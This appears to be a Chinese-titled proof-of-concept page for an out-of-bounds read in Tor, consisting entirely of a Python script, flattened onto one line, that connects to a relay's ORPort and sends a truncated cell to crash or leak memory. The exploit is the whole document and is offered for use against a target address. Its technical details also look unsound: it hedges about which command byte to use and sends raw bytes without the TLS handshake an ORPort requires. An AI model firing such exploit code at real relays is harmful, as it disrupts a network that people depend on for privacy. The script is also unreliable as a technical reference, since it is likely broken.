CVE-2026-44597 Tor越界读取漏洞

import socket import struct # PoC for CVE-2026-44597: Tor Out-of-Bounds Read # This script demonstrates sending a malformed cell to trigger the vulnerability. def send_malformed_cell(target_ip, target_port): """ Sends a crafted cell to the target Tor instance. The cell is of type END/TRUNCATE/TRUNCATED but lacks the 'reason' payload. """ try: # Establish TCP connection to Tor ORPort sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Tor Cell Header Structure (Version 3/4): # Circuit ID (4 bytes) + Command (1 byte) # Vulnerable commands include END, TRUNCATE, TRUNCATED. # Assuming a control cell structure for demonstration. circuit_id = 0x12345678 # Arbitrary Circuit ID command = 5 # Example command byte (e.g., RELAY_END or similar control command) # Construct header: CircID (4 bytes, big endian) + Command (1 byte) header = struct.pack("!IB", circuit_id, command) # The vulnerability occurs when the payload is empty/short # but the parser expects a 'reason' byte. payload = b'' # Missing reason field to trigger OOB read full_packet = header + payload sock.send(full_packet) print("[*] Malformed cell sent.") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details for testing TARGET_IP = "127.0.0.1" TARGET_PORT = 9001 send_malformed_cell(TARGET_IP, TARGET_PORT)